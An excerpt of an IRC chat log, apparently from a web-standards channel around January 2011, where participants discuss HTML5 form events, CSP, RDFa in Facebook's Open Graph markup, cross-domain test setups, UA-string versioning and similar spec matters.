But realistically, you're not going to get XSS protection without doing drastic things like banning inline script, so maybe deployability needs to be deemphasized.

[16:49:00.0000] <AryehGregor>
It actually even reminds me a bit of SELinux (although of course orders of magnitude less complicated).  Someone was saying something about how authors should use a policy generator.  :(

[16:49:01.0000] <AryehGregor>
And of course, with SELinux, the first advice everyone gives when it goes wrong is "Disable it."

[16:50:00.0000] <AryehGregor>
Ideally most of CSP should be reduced to just one on/off switch, like ES5 strict or something.

[16:50:01.0000] <AryehGregor>
I should post these ideas to the list, maybe I will tomorrow.

[16:51:00.0000] <AryehGregor>
Still catching up on stuff, although thankfully I didn't have to ignore *everything* while I was in Israel (or else I'd really have a lot to catch up on).

[16:52:00.0000] <Hixie>
heh, i know that feeling

[16:55:00.0000] <TabAtkins>
dbaron: Ah, right.  Sorry about missing that.

[16:55:01.0000] <TabAtkins>
And I'll add a prev version link.

[21:28:00.0000] <yuhong>
Hixie: Have you heard of lcamtuf's mangleme?

[21:28:01.0000] <yuhong>
http://lcamtuf.coredump.cx/mangleme/

[00:57:00.0000] <hsivonen>
zcorpan: webm.html5.org is not yet in bitbucket

[01:04:00.0000] <zcorpan>
ok

[01:09:00.0000] <annevk>
http://dev.w3.org/2006/webapi/progress/Progress.html has a redirect now

[01:10:00.0000] <annevk>
thanks to MikeSmith!

[01:20:00.0000] <Ms2ger>
MikeSmith++

[01:32:00.0000] <erlehmann>
nice http://richwchan.com/2011/01/25/literally-drawing-the-html-5-logo-in-canvas-with-javascript/

[01:38:00.0000] <smaug____>
zcorpan: ping

[01:39:00.0000] <zcorpan>
smaug____: pong

[01:39:01.0000] <smaug____>
zcorpan: so why the need for capturing event listeners if forminput/change would be removed?

[01:40:00.0000] <erlehmann>
sloppiness 2.5 / 7.5 / 3.5 / 3.5 works fine

[01:41:00.0000] <zcorpan>
smaug____: i don't understand the question

[01:41:01.0000] <smaug____>
zcorpan: you're simon, right?

[01:41:02.0000] <zcorpan>
smaug____: yep

[01:41:03.0000] <smaug____>
I'm talking about http://www.w3.org/Bugs/Public/show_bug.cgi?id=11129#c15

[01:43:00.0000] <zcorpan>
oh, do the change and input events bubble?

[01:46:00.0000] <smaug____>
yes

[01:46:01.0000] <zcorpan>
i assumed that they didn't bubble

[01:47:00.0000] <zcorpan>
ok, then a capturing listener would not be needed for the shopping cart

[01:48:00.0000] <zcorpan>
smaug____: for multiple event handlers, i was considering several <output>s that update their own value when something else is changed

[01:48:01.0000] <zcorpan>
e.g. <output name=amountWithoutTax onformchange=...></output> <ouput name=amountWithTax onformchange=...></output>

[01:48:02.0000] <smaug____>
again, there could be one input/change event listeners doing that all

[01:49:00.0000] <zcorpan>
yes

[01:50:00.0000] <smaug____>
I'm having trouble to see the real usefulness of forminput and formchange

[01:51:00.0000] <smaug____>
I wonder when those were added and what discussion lead to it

[01:51:01.0000] <zcorpan>
i think they've been part of WF2 since 2004 or so

[01:52:00.0000] <smaug____>
aha, so there might not have been too much discussion about them ...

[01:53:00.0000] <smaug____>
and no wonder I haven't been able to find related emails

[01:53:01.0000] <smaug____>
/me tries again

[01:53:02.0000] <zcorpan>
i think they're mostly there so you can couple your event handler with the <output> tag instead of putting the logic far away from where it's supposed to update the content (and you don't need to name your outputs)

[01:54:00.0000] <annevk>
doesn't WebKit have them as well now?

[01:54:01.0000] <smaug____>
that use case is still rather vague

[01:54:02.0000] <smaug____>
I think webkit just added them, like few days ago

[01:55:00.0000] <smaug____>
I don't want to add useless features to web platform, if just possible

[01:55:01.0000] <smaug____>
I assume that if they were just added to webkit , they could be easily removed

[01:55:02.0000] <zcorpan>
also, with the form="" feature the forminput and formchange events are broadcasted to the controls that are associated with the form even if they're not descendants

[01:55:03.0000] <smaug____>
there is no content which relies on those events

[01:55:04.0000] <zcorpan>
i don't have a use case in mind though for that

[01:56:00.0000] <smaug____>
even with form="", if is trivial to just check event.target.form in the event listener

[01:56:01.0000] <smaug____>
s/if is/it is/

[01:57:00.0000] <zcorpan>
yes, but it's a bit different coding style. not a strong argument to support the events, but still :)

[02:16:00.0000] <zcorpan>
as for valueAsNumber, it might be a bit faster since you don't need to convert to string and back

[02:16:01.0000] <annevk>
but do you need speed?

[02:17:00.0000] <annevk>
does not seem like the thing that needs an optimization path

[02:17:01.0000] <zcorpan>
yeah, dunno

[02:20:00.0000] <smaug____>
ah, yeah, valueAsNumber doesn't look too useful either

[02:20:01.0000] <smaug____>
does Opera implement it?

[02:20:02.0000] <smaug____>
or webkit?

[02:22:00.0000] <zcorpan>
opera does

[02:23:00.0000] <zcorpan>
seems webkit too

[02:23:01.0000] <zcorpan>
but not firefox 4

[02:24:00.0000] <smaug____>
but I guess it is not really use anywhere yet

[02:24:01.0000] <smaug____>
so perhaps there is still chance to get rid of it

[02:25:00.0000] <zcorpan>
file a bug?

[02:26:00.0000] <MikeSmith>
annevk: fwiw, I had problems before with trying to get some htaccess working on dev.w3.org and only managed to figure it what worked through trial and error. I think they have something misconfigured on that server

[02:26:01.0000] <MikeSmith>
but glad it's working now anyway

[02:27:00.0000] <annevk>
did you remove ./ or some such?

[02:27:01.0000] <annevk>
or made it into an absolute path?

[02:27:02.0000] <MikeSmith>
yeah

[02:28:00.0000] <MikeSmith>
and used RedirectMatch instead of Redirect

[02:28:01.0000] <annevk>
oh

[02:28:02.0000] <MikeSmith>
btw, I also fixed the borkedness that was causing http://es5.github.com/ to load so slowly

[02:29:00.0000] <MikeSmith>
if you try it now it should work find

[02:29:01.0000] <MikeSmith>
*fine

[02:29:02.0000] <MikeSmith>
bypass your cached copy of course

[02:31:00.0000] <Rik`>
Am I dreaming or is Facebook really encouraging invalid HTML ? http://developers.facebook.com/docs/opengraph

[02:31:01.0000] <Rik`>
    <meta property="og:title" content="The Rock"/>

[02:31:02.0000] <Ms2ger>
Yes

[02:32:00.0000] <Ms2ger>
They're encouraging fake namespaces too

[02:32:01.0000] <Rik`>
wtf ?

[02:33:00.0000] <zcorpan>
they should invent a microdata vocab and use that

[02:33:01.0000] <annevk>
ah, Facebook

[02:33:02.0000] <annevk>
that explains the 3.5% RDFa I saw somewhere

[02:35:00.0000] <annevk>
http://tripletalk.wordpress.com/2011/01/25/rdfa-deployment-across-the-web/

[02:36:00.0000] <MikeSmith>
Facebook deserves some love for https://github.com/facebook/jsgamebench though

[02:36:01.0000] <MikeSmith>
hope they do more of that kind of stuff

[02:38:00.0000] <Rik`>
oh so that's RDFa

[02:39:00.0000] <Rik`>
why isn't there any mention of that on the docs ?

[02:39:01.0000] <zcorpan>
<fb:like /> isn't RDFa

[02:40:00.0000] <annevk>
but property is

[02:40:01.0000] <jgraham>
MikeSmith: I heard reports that benchmark isn't very useful, but I haven't confirmed or anything

[02:41:00.0000] <MikeSmith>
jgraham: still happy to see them putting resources into developing such tools at all

[02:42:00.0000] <annevk>
how do you delete apps on android?

[02:42:01.0000] <jgraham>
annevk: Testing document.domain requires different domains (not subdomains), right?

[02:43:00.0000] <annevk>
jgraham, subdomains is fine

[02:43:01.0000] <annevk>
jgraham, with subdomains you can check if they can communicate with each other after setting document.domain, you cannot actually do that with different domains

[02:43:02.0000] <Rik`>
so how do I declare that my HTML page is using RDFa ?

[02:43:03.0000] <annevk>
document.domain is thus a good reason for subdomains :)

[02:44:00.0000] <jgraham>
annevk: Right, but you need different domains to check that they can't, or something

[02:44:01.0000] <jgraham>
I'm pretty sure that we have TCs that require multiple domains

[02:44:02.0000] <jgraham>
(Sigbjorn would know for sure)

[02:44:03.0000] <annevk>
well, you want to test publicsuffix maybe

[02:44:04.0000] <annevk>
but that requires a more complicated setup

[02:45:00.0000] <jgraham>
We need subdomains for sure

[02:45:01.0000] <jgraham>
But I think we also need two domains

[02:45:02.0000] <hasather>
annevk: easiest is to just find it in the app drawer, hold it, move it over the trash bin, hold for two seconds until it tells you to release to uninstall

[02:45:03.0000] <jgraham>
Why is pubsuffix more complex?

[02:45:04.0000] <annevk>
how are two domains different though?

[02:45:05.0000] <annevk>
other than publicsuffix

[02:45:06.0000] <jgraham>
Well that is one reason

[02:46:00.0000] <jgraham>
/me asks someone who actually knows :)

[02:47:00.0000] <annevk>
I'm pretty sure you cannot test publicsuffix with two domaisn

[02:47:01.0000] <annevk>
you would want to test all the permutations

[02:47:02.0000] <Rik`>
from a little bit of googling, rdfa in html5 does not require anything special but validator.nu is not marking rdfa as valid yet

[02:47:03.0000] <annevk>
e.g. with some kind of custom DNS setup

[02:47:04.0000] <Rik`>
is it right?

[02:47:05.0000] <annevk>
Rik`, something like that

[02:47:06.0000] <jgraham>
Right, doing a really good test of pubsuffix is hard

[02:48:00.0000] <annevk>
hasather, that does not seem to work :/

[02:48:01.0000] <annevk>
oh well

[02:48:02.0000] <Ms2ger>
Rik`, the cabal doesn't approve of rdfa

[02:48:03.0000] <hasather>
annevk: you can also uninstall from the market, or through Settings > Applications

[02:49:00.0000] <annevk>
ah that works

[02:54:00.0000] <jgraham>
annevk: Sigbjorn's list is "pubsuffix, x-frame-options, crossdomain XSS, cookies, cross-network". Not all apply to W3C ofc but being able to test them is good. Also browsers might have bugs in seperate domains that they don't have in subdomains

[02:56:00.0000] <annevk>
there's no real difference though between domains and subdomains

[02:56:01.0000] <annevk>
it's just a set of dots DNS

[02:56:02.0000] <annevk>
and DNS

[02:57:00.0000] <annevk>
e.g. is example.co.uk a subdomain?

[02:58:00.0000] <Ms2ger>
Pubsuffix could tell  you that

[02:59:00.0000] <annevk>
pubsuffix draws arbitrary lines too

[02:59:01.0000] <Ms2ger>
Any spec does ;)

[02:59:02.0000] <annevk>
e.g. dyndns.com iirc is a "TLD"

[03:00:00.0000] <annevk>
Ms2ger, my point is that apart from pubsuffix there's not really any meaningful difference between domains and subdomains

[03:00:01.0000] <Ms2ger>
True

[03:27:00.0000] <MikeSmith>
annevk: you saw http://gmailblog.blogspot.com/2011/01/desktop-notifications-for-emails-and.html ?

[03:28:00.0000] <annevk>
yeah

[03:33:00.0000] <hsivonen>
does anyone happen to have an URL for an HTML page that's served over IPv6 only (no IPv4 A record)?

[03:33:01.0000] <hsivonen>
s/an URL/a URL/

[03:34:00.0000] <annevk>
http://ipv6.google.com/

[03:34:01.0000] <hsivonen>
thanks

[03:35:00.0000] <annevk>
I cannot open that, I wonder when I will drop from the interwebs

[03:35:01.0000] <hsivonen>
Gandi got IPv6 routing

[03:35:02.0000] <hsivonen>
I wonder if html5.validator.nu would break if I added an AAAA record for it

[03:36:00.0000] <hsivonen>
at present, it seems that html5.validator.nu itself can't validate http://ipv6.google.com/

[03:40:00.0000] <annevk>
hmm

[03:41:00.0000] <annevk>
http://googlepublicpolicy.blogspot.com/2010/12/making-copyright-work-better-online.html Google siding with the entertainment industry

[03:41:01.0000] <annevk>
bah

[03:41:02.0000] <jgraham>
annevk: Assuming that browsers work in the same way as specs theorise is not always a great idea

[03:43:00.0000] <annevk>
jgraham, is this still about the domain thing?

[03:43:01.0000] <jgraham>
Yes, I was away

[03:43:02.0000] <annevk>
I'm be interested in seeing an implementation that does it wildly different :)

[03:44:00.0000] <annevk>
In the end though code will be changed and converged... You cannot really anticipate all possible implementation mistakes everywhere

[03:45:00.0000] <jgraham>
Right, but I don't really see the disadvantage of giving ourselves the option for cross domain (not subdomain) tests

[03:47:00.0000] <MikeSmith>
Rik`: validator.nu did have RDFa support previously, but it was removed

[03:47:01.0000] <Rik`>
MikeSmith: since so many pages are using facebook stuff, is there some info we can give?

[03:47:02.0000] <Rik`>
cause right now, it looks like it's not valid at all

[03:48:00.0000] <annevk>
jgraham, maybe because you insist there's a difference :)

[03:51:00.0000] <MikeSmith>
Rik`: for now, the W3C validator has an option to do XHTML+RDFa checking

[03:51:01.0000] <MikeSmith>
those docs are all being served with an XHTML doctype anyway, right?

[03:52:00.0000] <MikeSmith>
and namespace declarations for the namespaces that Facebook uses for their properties

[03:54:00.0000] <Rik`>
MikeSmith: it's HTML

[03:54:01.0000] <MikeSmith>
the doctype? or the mime type?

[03:54:02.0000] <Rik`>
you don't need XHTML to provide a screenshot

[03:54:03.0000] <Rik`>
mime type

[03:54:04.0000] <MikeSmith>
yeah well

[04:15:00.0000] <hsivonen>
MikeSmith: what does XHTML+RDFa actually check?

[04:15:01.0000] <MikeSmith>
hsivonen: dunno

[04:15:02.0000] <MikeSmith>
I've not actually tried it myself

[04:20:00.0000] <MikeSmith>
hsivonen: http://dev.w3.org/validator/htdocs/sgml-lib/REC-rdfa-syntax-20081014/ I guess

[04:21:00.0000] <hsivonen>
MikeSmith: so not checking anything but typos in the names of the attributes?

[04:21:01.0000] <MikeSmith>
seems so

[04:21:02.0000] <MikeSmith>
essentially

[04:22:00.0000] <annevk>
omg some people

[05:03:00.0000] <annevk>
what if the moon falls on the earth

[05:07:00.0000] <zcorpan>
i guess that'd be pretty bad

[05:08:00.0000] <jgraham>
Dear lazy-irc: For a SVG testcase I want to align the bottom of some text (specifically, the bottom of the em-square, or whatever the filled area in the X glyph in Ahem corresponds to) with the bottom of a <rect>

[05:08:01.0000] <annevk>
are we assuming it doesn't and build around that?

[05:08:02.0000] <annevk>
o_O

[05:08:03.0000] <gsnedders>
jgraham: You can choose the co-ordinate point that text is drawn from in SVG

[05:08:04.0000] <jgraham>
gsnedders: How?

[05:08:05.0000] <gsnedders>
Including from the baseline

[05:09:00.0000] <gsnedders>
jgraham: I can't remember :P

[05:09:01.0000] <gsnedders>
My normal solution in your position: ask ed.

[05:09:02.0000] <jgraham>
baseline !== em-square aiui

[05:09:03.0000] <gsnedders>
the em-square goes down to the bottom of baseline

[05:10:00.0000] <jgraham>
Really? Which baseline? I am just looking at the diagram in the HTML spec

[05:10:01.0000] <gsnedders>
There is a line called the baseline.

[05:11:00.0000] <gsnedders>
It becomes complicated when you use multiple scripts, but that's a separate issue unrealted to this case

[05:12:00.0000] <jgraham>
/me notes it is already complicated

[05:15:00.0000] <jgraham>
/me doesn't see anything relevant in http://www.w3.org/TR/SVGTiny12/text.html#CurrentTextPosition

[05:16:00.0000] <jgraham>
/me decides to pursue a different approach

[05:32:00.0000] <annevk>
can you change the templates MediaWiki uses from the Wiki instance itself?

[05:32:01.0000] <annevk>
or do you need to change PHP and such somewhere?

[05:51:00.0000] <Ms2ger>
annevk, templates are written in wikitext

[05:55:00.0000] <annevk>
MediaWiki:Sidebar was the one I wanted to change

[05:55:01.0000] <annevk>
navigation was linking to dead pages

[06:17:00.0000] <hsivonen>
hmm. SVG in a big language in terms of vocabulary tokens

[06:30:00.0000] <zcorpan>
hsivonen: looking at sanitation?

[06:30:01.0000] <hsivonen>
zcorpan: yes. I'm assembling lists of interned tokens manually

[06:30:02.0000] <hsivonen>
there's *lots* of tokens

[06:31:00.0000] <hsivonen>
and I'm manually categorizing them as SVG fonts (omitted) and SMIL (behind #ifdef)

[06:32:00.0000] <hsivonen>
one of those tasks that maybe could have used a script, but developing the right script would have taken time considering that it needs to be run once

[06:34:00.0000] <hsivonen>
and the hyphenation vs. camelCase is full of FAIL. Found one bug already.

[06:43:00.0000] <jgraham>
The interesting thing about scripts that need to be run exactly once is that they always end up being run >>once

[06:44:00.0000] <jgraham>
Not saying it is worthwhile in this case though

[06:59:00.0000] <hsivonen>
SVG fonts bloats the language by many, many attributes...

[07:09:00.0000] <annevk>
they gave me a new iPhone...

[07:11:00.0000] <zcorpan>
annevk: SVG fonts gave you an iPhone?

[07:11:01.0000] <annevk>
yeah, didn't work on my Android

[07:11:02.0000] <zcorpan>
aha

[07:12:00.0000] <annevk>
hey, it makes sense to me

[07:14:00.0000] <hsivonen>
it's so sad that they compile the Android WebKit without SVG support

[07:14:01.0000] <hsivonen>
gives opportunity for Firefox and Opera I guess, on the bright side

[07:16:00.0000] <Ms2ger>
But WebKit supports all of HTML5, including SVG!

[07:17:00.0000] <AryehGregor>
Why do they compile it without SVG support?  I've noticed that.

[07:17:01.0000] <zcorpan>
HTML5 on Android doesn't include SVG

[07:28:00.0000] <karlcow>
http://www.w3.org/mid/q433k65vs00o7509mrpbq1sll9ukt9uoc3⊙hbhd

[07:29:00.0000] <karlcow>
RELAXNG to JSON

[08:07:00.0000] <annevk>
http://www.infoworld.com/d/developer-world/html-the-standard-failed-585 sigh

[08:07:01.0000] <annevk>
can't even comment

[08:08:00.0000] <TabAtkins>
Man, screw you, Infoworld, and your stupid sign up.

[08:09:00.0000] <TabAtkins>
Also: Argh, that post is a giant pile of misconceptions that we already answered in the FAQ.

[08:10:00.0000] <annevk>
yeah, it is quite weird

[08:11:00.0000] <jgraham>
You know the FAQ is a waste of time, right?

[08:11:01.0000] <TabAtkins>
Clearly.

[08:11:02.0000] <annevk>
I don't think it is

[08:11:03.0000] <jgraham>
The sort of people with a giant pile of misconceptions will never read the FAQ

[08:11:04.0000] <TabAtkins>
I mean, my questions are obviously superior to the plebes.\

[08:12:00.0000] <TabAtkins>
And thus, by definition, not frequently asked.

[08:12:01.0000] <annevk>
jgraham, well yeah, but it's useful for a lot of other people

[08:12:02.0000] <TabAtkins>
Thus I have no need to read the FAQ, QED.

[08:12:03.0000] <jgraham>
I guess it works to tell people RTFM after the fact

[08:12:04.0000] <annevk>
I wonder if Infoworld is read well

[08:12:05.0000] <annevk>
and it is very useful to have all that information gathered somewhere

[08:13:00.0000] <jgraham>
Yeah, having the information is useful

[08:13:01.0000] <jgraham>
I meant "is a waste of time for the purposes of preventing people from publishing their misconceptions all over the intertubes"

[08:14:00.0000] <annevk>
geez

[08:14:01.0000] <annevk>
am I really the person that has to explain everything to Leif?

[08:15:00.0000] <jgraham>
No, you could ignore him like everyone else

[08:15:01.0000] <Lachy>
jgraham, having an FAQ is useful as a resource to point people to when they ask common questions so that people don't have to keep making up new answers all the time.

[08:15:02.0000] <jgraham>
Lachy: Right, see what I said about RTFM above

[08:15:03.0000] <annevk>
that does not seem too nice at this point, but this does not seem to be going anywhere

[08:15:04.0000] <TabAtkins>
annevk: Yeah, what jgraham said.  I just stopped talking to him a long time ago.

[08:15:05.0000] <Lachy>
I don't think anyone expects all people to read it first before asking silly questions

[08:15:06.0000] <TabAtkins>
I think I need to filter him like I do Garrett Smith.

[08:17:00.0000] <wilhelm>
He does have a point, though. Giving a certain feature set an unambiguous name does have its advantages.

[08:19:00.0000] <wilhelm>
Opera 10 has certain features, Opera 11 has certain other features. The Web and HTML is much more complex than that, of course, but I can see where he's coming from.

[08:19:01.0000] <jgraham>
wilhelm: The infoworld guy or Leif?

[08:19:02.0000] <wilhelm>
The infoworld person.

[08:21:00.0000] <jgraham>
/me now has a theory that even mentioning Leif causes the strange vortex of confusion to occur, whereupon all straightforward conversations become mired in twisty logic and disjoint arguments

[08:21:01.0000] <Lachy>
wilhelm, we should drop versioning in Opera too, and just have the update system work so that it silently updates people to the latest

[08:21:02.0000] <jgraham>
wilhelm: If you follow the Google philosophy then you don't need that for browsers

[08:22:00.0000] <jgraham>
It doesn't seem to be doing them any harm

[08:22:01.0000] <wilhelm>
Lachy: Sure. That doesn't work on all platforms, though.

[08:22:02.0000] <jgraham>
and it is less true for browsers (which are by-definiton single implementation) than for specs

[08:22:03.0000] <TabAtkins>
Lachy: You can keep versioning, if the update would be more silent. ^_^

[08:22:04.0000] <jgraham>
where a single "version" doesn't correspond to anything concrete in the real world

[08:23:00.0000] <Lachy>
TabAtkins, sure, like Chrome's versoining which exists, but which isn't publicised anywhere

[08:23:01.0000] <hsivonen>
annevk: Re: waves of negative blog comments, jd calls in seagull linking

[08:23:02.0000] <TabAtkins>
Yes.

[08:23:03.0000] <hsivonen>
happens to his blog when Gruber links :-)

[08:24:00.0000] <jgraham>
Presumably after a while Chrome will give up on version numbers entirely

[08:24:01.0000] <jgraham>
If browsers manage to make versionless UA strings

[08:25:00.0000] <jgraham>
(well that isn't a precondition exactly, but if the only place you can observe the version number is in the about dialog, it doesn't mean anything anymore)

[08:25:01.0000] <paul_irish>
There are a lot of reasons why versions can't be scrubbed from UA strings, unfortunately

[08:25:02.0000] <annevk>
wilhelm, how was it clear with HTML5 what we implemented? seems exactly the same problem

[08:25:03.0000] <wilhelm>
We have a test suite internally testing form interaction. It deliberately tests only the HTML4 feature set (text, password – not number, date, email), but of course adheres to the HTML[5] spec for the technical details. That is a useful distinction.

[08:25:04.0000] <jgraham>
paul_irish: I thought Mozilla were pushing toward fake versioning

[08:25:05.0000] <jgraham>
Or maybe no versioning

[08:26:00.0000] <annevk>
wilhelm, you think?

[08:26:01.0000] <jgraham>
wilhelm: Only if it corresponds to some implementation detail

[08:26:02.0000] <paul_irish>
jgraham: in the UA string? eesh. i should dig into that. :/

[08:26:03.0000] <annevk>
wilhelm, split feature sets are useful I suppose

[08:26:04.0000] <annevk>
wilhelm, but that does not have to do much with HTML4 vs HTML5

[08:26:05.0000] <jgraham>
paul_irish: What would break if you just froze the UA string at some arbitary point?

[08:27:00.0000] <paul_irish>
nothing would break, but there would be a lot of features/bugs that emerge after that point that would be undetectable.

[08:28:00.0000] <wilhelm>
annevk: Yes. In this particular case, the HTML-1997 feature set was easy to test – the HTML-2009 feature set more difficult. Saying "Let's focus on the HTML4 feature set for now" was a useful shorthand.

[08:29:00.0000] <miketaylr>
you might also be locked in to a buggy codepath, even if the bug was fixed post-freeze. e.g., https://github.com/marijnh/CodeMirror/blob/master/js/editor.js#L7-19

[08:30:00.0000] <jgraham>
My (biased) experience is that UA sniffing *always* ends badly

[08:30:01.0000] <miketaylr>
/me agrees

[08:31:00.0000] <jgraham>
So I am inclined to think that the problems caused by making it harder would be smaller than the problems it causes

[08:31:01.0000] <annevk>
wilhelm, fair enough

[08:31:02.0000] <annevk>
wilhelm, I guess in the future that would be old vs new :)

[08:32:00.0000] <annevk>
wilhelm, the danger is of course that people might look at HTML4 and find bugs relative to that

[08:33:00.0000] <paul_irish>
jgraham: this is what i'm getting at. https://github.com/Modernizr/Modernizr/wiki/Undetectables  basically unless all these things are detectable without using UA.. then authors will need the UA+version for when feature detection doesnt suffice.

[08:34:00.0000] <Rik`>
paul_irish: or unless UAs implement half baked things

[08:34:01.0000] <miketaylr>
which is the real problem, imo

[08:35:00.0000] <Rik`>
like webforms UI…

[08:35:01.0000] <paul_irish>
indeed. :)

[08:36:00.0000] <jgraham>
paul_irish: The flipside of that is that people make broken assumptions based on UA detection. Like "all mobile browsers are webkit"

[08:37:00.0000] <paul_irish>
yes. in 95% of cases, the UA sniff is unnecessary. i'm just saying there is a legit 5% in there.

[08:38:00.0000] <paul_irish>
but.. authors mostly suck. that's why we "deprecated" $.browser in jQuery. basically saying "stay away! figure it out youself, bro!"

[08:38:01.0000] <Rik`>
some of the undetectables in that page are useless to detect

[08:39:00.0000] <Rik`>
registerProtocolHandler()

[08:39:01.0000] <Rik`>
if you detect that it's not supported, what is your fallback ?

[08:39:02.0000] <mhausenblas>
/me waves to paul_irish  - any news re http://html5rocks.com CORS enabled? last time I checked it seemed not to be the case - just wondering when to update http://enable-cors.org/#who

[08:39:03.0000] <karlcow>
jgraham: the issue is not really about having versionless UA string, but having *all user agents* doing that at the same time :)

[08:40:00.0000] <karlcow>
indeed there will be massive breakage around

[08:40:01.0000] <jgraham>
karlcow: I'm not proposing versionless

[08:40:02.0000] <karlcow>
what do you propose

[08:40:03.0000] <jgraham>
I'm suggesting you can freeze the version number

[08:40:04.0000] <paul_irish>
mhausenblas: everything at www.html5rocks is Access-Control-Allow-Origin:* now :)

[08:41:00.0000] <mhausenblas>
hu? hmmm then I need to check my checker :)

[08:41:01.0000] <karlcow>
same issue

[08:41:02.0000] <mhausenblas>
ha!

[08:41:03.0000] <mhausenblas>
ok, true paul_irish www.html5rocks.com is but I checked at html5rocks.com

[08:41:04.0000] <karlcow>
jgraham: if browsers implementers don't do it at once. There will be no changes

[08:42:00.0000] <annevk>
Rik`, you don't always need fallback

[08:42:01.0000] <wilhelm>
annevk: Absolutely. Freezing parsing rules, for example, would be insane. But grouping features together and giving them a name is useful.

[08:43:00.0000] <karlcow>
/me is going back to user agent sniffing issues ;) for opera

[08:49:00.0000] <kennyluck>
wow, great! paul_irish! (re. everything at www.html5rocks is Access-Control-Allow-Origin:* )

[08:49:01.0000] <paul_irish>
♥ cors

[09:00:00.0000] <thecolor3>
anyone here happen to have any history with the jw player html5 fallback system?

[09:07:00.0000] <annevk>
jgraham, your example seems highly unlikely

[09:07:01.0000] <annevk>
jgraham, probably because you do not author a blog :p

[09:08:00.0000] <annevk>
I have never seen it done that way

[09:09:00.0000] <jgraham>
annevk: You really think that no one will consider <header> to be the header for the entire page including the title of the content?

[09:09:01.0000] <jgraham>
Maybe not on a blog

[09:09:02.0000] <jgraham>
But in general

[09:09:03.0000] <annevk>
well, in that case grouping them is not too problematic

[09:09:04.0000] <annevk>
there's only one subject

[09:09:05.0000] <annevk>
you would care mostly about the other headings anyway

[09:10:00.0000] <jgraham>
You would care mostly about the heading that you would lose

[09:10:01.0000] <jgraham>
i.e. the title of the content

[09:10:02.0000] <TabAtkins>
Agreed with jgraham - I think I might do that <header> pattern sometimes.

[09:10:03.0000] <jgraham>
(rather than the title of the site)

[09:10:04.0000] <annevk>
o_O

[09:14:00.0000] <thecolor3>
Can someone please tell me if they have any history with fall back on html5 specifically with jw player?

[09:14:01.0000] <hober>
what was jgraham's example?

[09:16:00.0000] <Ms2ger>
thecolor3, doesn't look like it

[09:16:01.0000] <thecolor3>
Ms2ger: yea so it seems

[09:16:02.0000] <hober>
oh, I see it now (caught up on email)

[09:17:00.0000] <annevk>
thecolor3, maybe in #html5

[09:46:00.0000] <karlcow>
will there be an API for NFC? http://venturebeat.com/2011/01/25/iphone-5-ipad-2-nfc/

[09:48:00.0000] <jgraham>
/me is fooled by the NFC !== Normal Form C thing yet again

[09:48:01.0000] <karlcow>
sorry, Near Field Communications

[09:48:02.0000] <jgraham>
/me hopes this technology doesn't catch on

[09:48:03.0000] <jgraham>
Or I will be confused the whole time

[09:49:00.0000] <jgraham>
Moreso than normal I mean

[09:49:01.0000] <karlcow>
jgraham: I think you will be confused the whole time ;)

[09:49:02.0000] <annevk>
I was too

[09:49:03.0000] <AryehGregor>
I was briefly confused before I figured out what was meant.

[09:49:04.0000] <annevk>
until I saw vendturebeat.com and Apple product names

[09:50:00.0000] <karlcow>
5x more NFC than NFC ;)

[09:50:01.0000] <jgraham>
Hopefully someone figures out that Near Field Communications is not the sort of name you can sell to the mass market

[09:50:02.0000] <jgraham>
and calls it something else

[09:50:03.0000] <karlcow>
jgraham: you mean like GPS :p

[09:50:04.0000] <jgraham>
karlcow: dammit

[09:50:05.0000] <karlcow>
hehe

[09:51:00.0000] <TabAtkins>
I was confused for an entire lunchtime conversation over that.

[09:51:01.0000] <jgraham>
It doesn't have to be true that you can't sell it, you just have to have them believe it

[09:51:02.0000] <karlcow>
in fact GPS as the same issue than HTML5, GPS is used for geoip, celltower triangulation, etc. for everything-location-through-waves

[09:52:00.0000] <AryehGregor>
To most people, a "GPS" is the thing in your car that tells you where to drive.

[09:52:01.0000] <AryehGregor>
:)

[09:53:00.0000] <jgraham>
/me votes we rename it Hvísla

[10:08:00.0000] <annevk>
since when did I become a member of the press?

[10:08:01.0000] <annevk>
yesterday some marketing agency asks my address details for "free" gifts

[10:08:02.0000] <Ms2ger>
Since you got a blog and a twitter account

[10:08:03.0000] <TabAtkins>
Interesting.

[10:08:04.0000] <annevk>
today I get some kind of press release about a code competition and invitation to talk with the CEO if I want more details...

[10:08:05.0000] <annevk>
is there a list somewhere?

[10:08:06.0000] <annevk>
I want off

[10:09:00.0000] <Ms2ger>
You want X-Do-Not-Act-Like-I-Am-A-Journalist

[10:10:00.0000] <annevk>
:)

[10:10:01.0000] <annevk>
that just leads to the inevitable X-Do-Act-Like-I-Am-A-Journalist-I-Really-Mean-It

[10:41:00.0000] <TabAtkins>
"Web developers have tried to compensate for this problem by creating IPv6 -- a system that recognizes six-digit IP addresses rather than four-digit ones." ~http://www.foxnews.com/scitech/2011/01/26/internet-run-ip-addresses-happens-anyones-guess/

[10:42:00.0000] <TabAtkins>
On that note, though, does anyone know why ipv6 is named ipv6?  It's got 16 bytes, so it's not following the same naming scheme as ipv4, unless they're just taking it mod 10.

[10:43:00.0000] <TabAtkins>
...Oh.  It's just version 6, and ipv4 is version 4.  No relation to the byte size at all.

[10:44:00.0000] <AryehGregor>
Yes.

[10:45:00.0000] <AryehGregor>
I know I've seen some blog software where the italics button produces <em>.  Does anyone know what I'm talking about?

[10:46:00.0000] <Dashiva>
hiptsercat/I still use/ipv5/

[10:46:01.0000] <TabAtkins>
I think wordpress does/did that.

[10:46:02.0000] <AryehGregor>
Yeah, but the Wordpress blogs I'm looking at don't seem to have markup buttons.

[10:46:03.0000] <AryehGregor>
At least in WebKit.

[10:46:04.0000] <AryehGregor>
Maybe they do in other browsers?

[10:46:05.0000] <TabAtkins>
They do in the article posting interface.

[10:46:06.0000] <TabAtkins>
Just not in comment posting.

[10:47:00.0000] <AryehGregor>
Ah.

[10:50:00.0000] <AryehGregor>
Grr.

[10:50:01.0000] <AryehGregor>
I know I've asked this more than once before, but where are some stats on how often various elements are used, more detailed than Google's 2005 study?

[10:51:00.0000] <Philip`>
http://philip.html5.org/data/tag-count-pages.txt ?

[10:51:01.0000] <AryehGregor>
There we go, thanks.

[11:10:00.0000] <foolip_>
so, uh, anybody have a great idea about how to proceed on http://lists.w3.org/Archives/Public/public-html/2011Jan/0415.html ?

[11:12:00.0000] <TabAtkins>
I really don't know.  It doesn't make a ton of sense to continue on with the issue if you're trying to raise a larger bug.

[11:13:00.0000] <annevk>
foolip_, it seems like you do not need to withdraw it

[11:14:00.0000] <annevk>
foolip_, it seems in scope as well... it's just that your solution is slightly more complex

[11:14:01.0000] <foolip_>
the change I want would conflict with the change Julian wants, so the question is if I can just push for what I want and let the conflicts happen as they may

[11:14:02.0000] <annevk>
(though better, imo)

